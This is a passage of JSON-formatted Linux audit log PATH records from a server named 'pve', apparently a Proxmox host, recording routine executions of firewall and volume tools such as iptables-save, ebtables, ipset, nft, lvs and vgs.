cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865691,"@rawstring":"node=pve type=PATH msg=audit(1781964865.691:62962): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865686,"@rawstring":"node=pve type=PATH msg=audit(1781964865.686:62961): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865686,"@rawstring":"node=pve type=PATH msg=audit(1781964865.686:62961): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865679,"@rawstring":"node=pve type=PATH msg=audit(1781964865.679:62960): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865679,"@rawstring":"node=pve type=PATH msg=audit(1781964865.679:62960): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865673,"@rawstring":"node=pve type=PATH msg=audit(1781964865.673:62959): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865673,"@rawstring":"node=pve type=PATH msg=audit(1781964865.673:62959): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865670,"@rawstring":"node=pve type=PATH msg=audit(1781964865.670:62958): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865670,"@rawstring":"node=pve type=PATH msg=audit(1781964865.670:62958): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865666,"@rawstring":"node=pve type=PATH msg=audit(1781964865.666:62957): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865666,"@rawstring":"node=pve type=PATH msg=audit(1781964865.666:62957): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865665,"@rawstring":"node=pve type=PATH msg=audit(1781964865.665:62956): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865665,"@rawstring":"node=pve type=PATH msg=audit(1781964865.665:62956): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865665,"@rawstring":"node=pve type=PATH msg=audit(1781964865.665:62955): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865661,"@rawstring":"node=pve type=PATH msg=audit(1781964865.661:62954): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865661,"@rawstring":"node=pve type=PATH msg=audit(1781964865.661:62954): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865661,"@rawstring":"node=pve type=PATH msg=audit(1781964865.661:62954): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865654,"@rawstring":"node=pve type=PATH msg=audit(1781964865.654:62953): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865654,"@rawstring":"node=pve type=PATH msg=audit(1781964865.654:62953): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865648,"@rawstring":"node=pve type=PATH msg=audit(1781964865.648:62952): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865648,"@rawstring":"node=pve type=PATH msg=audit(1781964865.648:62952): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865643,"@rawstring":"node=pve type=PATH msg=audit(1781964865.643:62951): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865643,"@rawstring":"node=pve type=PATH msg=audit(1781964865.643:62951): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865638,"@rawstring":"node=pve type=PATH msg=audit(1781964865.638:62950): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865638,"@rawstring":"node=pve type=PATH msg=audit(1781964865.638:62950): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865632,"@rawstring":"node=pve type=PATH msg=audit(1781964865.632:62949): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865632,"@rawstring":"node=pve type=PATH msg=audit(1781964865.632:62949): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964864625,"@rawstring":"node=pve type=PATH msg=audit(1781964864.625:62948): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964864625,"@rawstring":"node=pve type=PATH msg=audit(1781964864.625:62948): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964864593,"@rawstring":"node=pve type=PATH msg=audit(1781964864.593:62947): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964864593,"@rawstring":"node=pve type=PATH msg=audit(1781964864.593:62947): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964860918,"@rawstring":"node=pve type=PATH msg=audit(1781964860.918:62946): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964860918,"@rawstring":"node=pve type=PATH msg=audit(1781964860.918:62946): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964860918,"@rawstring":"node=pve type=PATH msg=audit(1781964860.918:62945): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964860918,"@rawstring":"node=pve type=PATH msg=audit(1781964860.918:62944): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964860910,"@rawstring":"node=pve type=PATH msg=audit(1781964860.910:62943): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964860910,"@rawstring":"node=pve type=PATH msg=audit(1781964860.910:62943): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964860910,"@rawstring":"node=pve type=PATH msg=audit(1781964860.910:62942): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964860910,"@rawstring":"node=pve type=PATH msg=audit(1781964860.910:62941): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855899,"@rawstring":"node=pve type=PATH msg=audit(1781964855.899:62940): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855899,"@rawstring":"node=pve type=PATH msg=audit(1781964855.899:62940): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855899,"@rawstring":"node=pve type=PATH msg=audit(1781964855.899:62939): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855899,"@rawstring":"node=pve type=PATH msg=audit(1781964855.899:62938): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855890,"@rawstring":"node=pve type=PATH msg=audit(1781964855.890:62937): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855890,"@rawstring":"node=pve type=PATH msg=audit(1781964855.890:62937): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855890,"@rawstring":"node=pve type=PATH msg=audit(1781964855.890:62936): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855890,"@rawstring":"node=pve type=PATH msg=audit(1781964855.890:62935): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855622,"@rawstring":"node=pve type=PATH msg=audit(1781964855.622:62934): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855622,"@rawstring":"node=pve type=PATH msg=audit(1781964855.622:62934): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855619,"@rawstring":"node=pve type=PATH msg=audit(1781964855.619:62933): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855619,"@rawstring":"node=pve type=PATH msg=audit(1781964855.619:62933): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855617,"@rawstring":"node=pve type=PATH msg=audit(1781964855.617:62932): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855617,"@rawstring":"node=pve type=PATH msg=audit(1781964855.617:62932): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855617,"@rawstring":"node=pve type=PATH msg=audit(1781964855.617:62931): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855614,"@rawstring":"node=pve type=PATH msg=audit(1781964855.614:62930): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855614,"@rawstring":"node=pve type=PATH msg=audit(1781964855.614:62930): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855614,"@rawstring":"node=pve type=PATH msg=audit(1781964855.614:62930): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855607,"@rawstring":"node=pve type=PATH msg=audit(1781964855.607:62929): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855607,"@rawstring":"node=pve type=PATH msg=audit(1781964855.607:62929): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855600,"@rawstring":"node=pve type=PATH msg=audit(1781964855.600:62928): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855600,"@rawstring":"node=pve type=PATH msg=audit(1781964855.600:62928): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855594,"@rawstring":"node=pve type=PATH msg=audit(1781964855.594:62927): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855594,"@rawstring":"node=pve type=PATH msg=audit(1781964855.594:62927): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855588,"@rawstring":"node=pve type=PATH msg=audit(1781964855.588:62926): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855588,"@rawstring":"node=pve type=PATH msg=audit(1781964855.588:62926): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855583,"@rawstring":"node=pve type=PATH msg=audit(1781964855.583:62924): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855583,"@rawstring":"node=pve type=PATH msg=audit(1781964855.583:62924): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855577,"@rawstring":"node=pve type=PATH msg=audit(1781964855.577:62923): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855577,"@rawstring":"node=pve type=PATH msg=audit(1781964855.577:62923): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855572,"@rawstring":"node=pve type=PATH msg=audit(1781964855.572:62922): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855572,"@rawstring":"node=pve type=PATH msg=audit(1781964855.572:62922): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855566,"@rawstring":"node=pve type=PATH msg=audit(1781964855.566:62921): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855566,"@rawstring":"node=pve type=PATH msg=audit(1781964855.566:62921): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855561,"@rawstring":"node=pve type=PATH msg=audit(1781964855.561:62920): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855561,"@rawstring":"node=pve type=PATH msg=audit(1781964855.561:62920): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855556,"@rawstring":"node=pve type=PATH msg=audit(1781964855.556:62919): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855556,"@rawstring":"node=pve type=PATH msg=audit(1781964855.556:62919): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855550,"@rawstring":"node=pve type=PATH msg=audit(1781964855.550:62918): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855550,"@rawstring":"node=pve type=PATH msg=audit(1781964855.550:62918): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855544,"@rawstring":"node=pve type=PATH msg=audit(1781964855.544:62917): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855544,"@rawstring":"node=pve type=PATH msg=audit(1781964855.544:62917): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855540,"@rawstring":"node=pve type=PATH msg=audit(1781964855.540:62916): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855540,"@rawstring":"node=pve type=PATH msg=audit(1781964855.540:62916): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855537,"@rawstring":"node=pve type=PATH msg=audit(1781964855.537:62915): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855537,"@rawstring":"node=pve type=PATH msg=audit(1781964855.537:62915): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855536,"@rawstring":"node=pve type=PATH msg=audit(1781964855.536:62914): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855536,"@rawstring":"node=pve type=PATH msg=audit(1781964855.536:62914): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855536,"@rawstring":"node=pve type=PATH msg=audit(1781964855.536:62913): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855531,"@rawstring":"node=pve type=PATH msg=audit(1781964855.531:62912): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855531,"@rawstring":"node=pve type=PATH msg=audit(1781964855.531:62912): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855531,"@rawstring":"node=pve type=PATH msg=audit(1781964855.531:62912): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855525,"@rawstring":"node=pve type=PATH msg=audit(1781964855.525:62911): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855525,"@rawstring":"node=pve type=PATH msg=audit(1781964855.525:62911): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855517,"@rawstring":"node=pve type=PATH msg=audit(1781964855.517:62910): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855517,"@rawstring":"node=pve type=PATH msg=audit(1781964855.517:62910): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL 